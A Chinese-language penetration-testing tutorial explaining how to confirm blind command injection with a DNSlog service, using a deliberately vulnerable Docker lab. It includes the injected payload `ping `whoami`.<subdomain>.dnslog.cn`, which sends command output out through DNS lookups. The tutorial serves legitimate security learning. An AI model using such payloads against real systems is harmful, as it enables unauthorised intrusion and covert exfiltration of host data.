通过DNSLOG回显验证漏洞
通过DNSLOG回显验证漏洞
前言
实际渗透测试中,有些漏洞因为没有回显导致无法准确判断漏洞是否存在,可能导致渗透测试人员浪费大量精力在一个并不存在的漏洞上,因此为了验证一些无回显漏洞,可结合DNSlog平台进行测试,本文使用的DNSlog平台链接如下:*http://dnslog.cn/
*
原理
DNSlog检测原理在此就不多赘述了,网上相关资料铺天盖地,此处引用一张FREEBUF的图用以说明,此图现在看不懂没关系,当做完实验后再返回查看本图思维就会很清晰了。
环境搭建
1. 安装Docker
接下来直接搭建靶场,进入实验环境,本实验使用Docker搭建漏洞环境,操作系统是windows 10,Docker Desktop提供了较为完善的图形化操作界面,且兼容性随着版本更新目前已经与linux下运行的Docker无区别,安装方式见官网,安装操作较为简单,无脑下一步即可,安装完成后需要重启,接着按照说明一步步安装其他必备环境,这里就不再细说了。
2.拉取镜像
打开CMD/PowerShell运行以下命令:
docker pull ge592555078/lkwa
从仓库拉取镜像接着打开Docker Desktop按照下图操作运行刚才拉取的环境,并将80端口映射到本地的81端口。
// *或者在命令行中直接输入`docker run -d -p 81:80 ge592555078/lkwa`*此时访问
http://localhost:81/
应当出现apache的默认页面,证明环境搭建完成:
漏洞复现
由于主要学习dnslog的使用,我们就用环境中命令执行模块复现。
访问
http://localhost:81/index.php
此为漏洞环境的主页左侧选择
Bind RCE
命令注入环境此时访问dnslog平台:
http://dnslog.cn/
点击页面上Get SubDomain
生成专属子域名回到漏洞环境,在右侧命令执行输入框中输入如下命令之后点击
submit
按钮提交执行。*(whoami后应该衔接刚才生成的对应子域名)*1
ping `whoami`.cp2wj5.dnslog.cn
再返回DNSlog平台,点击刷新解析记录按钮,可以发现whoami的执行结果已经拼接成四级域名了:
至此为止试验结束。
分析总结
存在无回显漏洞的主机访问DNSlog平台就会留下DNS解析记录,可以通过DNS解析记录查看最终的执行结果,如示例中的语句:
1 | ping `whoami`.cp2wj5.dnslog.cn |
包围着whoami
的符号是反单引号,是shift
+~
组合打出来的符号,表示执行命令的意思,那么最终ping
的结果就是ping whoami执行后的主机名.随机三级域名.dnslog.cn
,解析的时候一层一层的迭代解析,最终指向dnslog.cn
服务器上你的专属三级域名,并附带上执行结果*(四级域名)*,那么此时看dnslog服务器的DNS解析记录即可查看whoami的执行结果,如果对DNS协议不清楚此时应先去学习DNS解析原理,不然此篇文章学习起来较为吃力。